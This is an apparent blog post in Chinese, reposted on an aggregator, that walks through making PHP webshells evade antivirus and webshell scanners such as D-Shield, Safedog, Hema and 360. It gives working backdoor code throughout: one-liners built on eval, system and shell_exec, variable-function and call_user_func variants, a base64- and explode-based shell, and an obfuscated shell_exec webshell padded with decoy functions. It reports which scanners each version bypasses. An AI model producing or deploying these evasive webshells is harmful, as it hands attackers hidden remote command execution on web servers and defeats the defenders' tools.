当前位置: 首页 > news >正文

php webshell免杀

终于也是来到了激动人心的时刻——免杀,这集先是简单的一句话木马的免杀

首先是经典的一句话木马:

<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>

然而这样朴实无华的直接上传肯定是会被杀软拦截,所以就用到了免杀的技巧

本次用来测试的环境有D盾,安全狗,河马webshell在线查杀(SHELLPUB.COM在线查杀)

首先用我自己的几个普通的一句话木马进行环境测试

发现直接就能测出来,那么接下来就是免杀的测试

传参

首先简单尝试一下多传几次参

<?php
$a=$_POST['xxx'];
$b=&$a;
$c=&$b:
eval($c);
?>

没想到这么简单就绕过了安全狗

可惜没绕过D盾

这个也是轻松查了出来,看来这样的方法注定不可能长久

当然了我们还有其他小骚招

传参绕过

可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。

<?php

$v=$_GET['func'];

$v($_GET['xxx']);

?>

此时可以把func传参为system,把xxx作为命令。

然后把这个方法和回调函数结合

<?php
$f=$_GET['func'];
$v=$_GET['xxx'];
call_user_func($f,$v);
?>

还可以给回调函数上一个base64加密

可惜过了D盾过不了河马

但是大佬的文章中有破局之法,那就是php中的分隔函数explode() 函数

<?php
function DD($Data) {
    return base64_decode($Data);
}
$a = explode("!",$_GET['s']);
DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]);
?>

这里只要传参传system!echo hack就能成功RCE

检测结果也是不必说,轻松绕过

二维数组

在免杀时我们可以考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的

<?php
$a=substr_replace("assexx","rt",4);
$b=array($array=array(''=>$a($_POST['p'])));
var_dump($b);
?>

可惜的是并不行,应该是我看的文章时间有点久了,红温了喵

加密

简单的base64加密我就不尝试了,肯定过不了杀软,让我们直接来点够劲的

。。。md测试中传来噩耗,本来搞了个这个

<?php
 eval($_POST["\x78\x78\170"]);

我一看这也测不到,以为成功了,结果是我的windows把我的php文件删了,牛魔的不搞这些有的没的了,直接上混淆

<?php 
function safe_waf(){
    $data1 = "1qazxsw23edcvfr45tgb";
    $data2 = "1qazXSW@3edcVFR$6yhn";
    $data3 = "!QAZxsw2#EDCvfr4%TGB";
    for ($i = 0; $i < 10; $i++) {
        $data1[$i % strlen($data1)];
    }
    $a = 5;
    $b = 10;
    $c = $a + $b;
    $a_safe = array();
    for ($j = 0; $j < 10; $j++) {
        $a_safe[] = md5($j.$data2);
    }
    return $c;
}
 
function Safe(){
    $t = "1qazxsw23edcvfr45tgb";
    $result = strrev($t);
    return $result;
}
 
function DD($Data) {
    return base64_decode($Data);
}
safe_waf();
echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']);
Safe();
?>

PHP webshell 免杀方法_php免杀马-CSDN博客

这是粘贴这个大佬的

这里面加入了Safe和Save_waf两个无用的函数,演的更像一点

可用性就不测了,复制粘贴的包是可用的

这个马本来大佬说是绕不过安恒云沙箱的,但是我拿微步测了一下居然成功绕过了,也是很有生活了

大佬那个文章里还有用AES加密进行绕过的方法,可惜我没怎么学密码,所以就不复现了喵

那么最后来点我感兴趣的,我们的360大人能否查杀到这几个免杀马呢

360大人终究也是陨落了吗(doge)

相关文章:

  • Hive问题记录(1)
  • SingleMod
  • inline 配置全局参数变量
  • 深入解析 Spring Framework 5.1.8.RELEASE 的源码目录结构
  • 驱动编写-DS18B20温度传感器
  • 远场分量(平面波角谱)与倏逝波
  • 搜索旋转排序数组
  • 初见MyBatis
  • 区间端点(java)(贪心问题————区间问题)
  • 游戏中的碰撞检测算法
  • 吐血整理:Air8201如何使用LuatOS进行电源管理功能!
  • 线程控制与线程库
  • ideaIU-2023.2.5.exe install (IntelliJ_IDEA_IU_2023.2.5)
  • 解决海豚调度器跑出数据但显示状态失败(在CDH6.3.2跑离线数仓任务)
  • C#中获取字节数据的高字节和低字节
  • MyBatis-Plus LambdaQueryWrapper 详解:优雅构建类型安全的查询条件
  • 3.25学习总结 抽象类和抽象方法+接口+内部类+API
  • 常用的离散时间傅里叶变换(DTFT)对
  • 网络相关的知识总结1
  • 【Tauri2】002——Cargo.toml和入口文件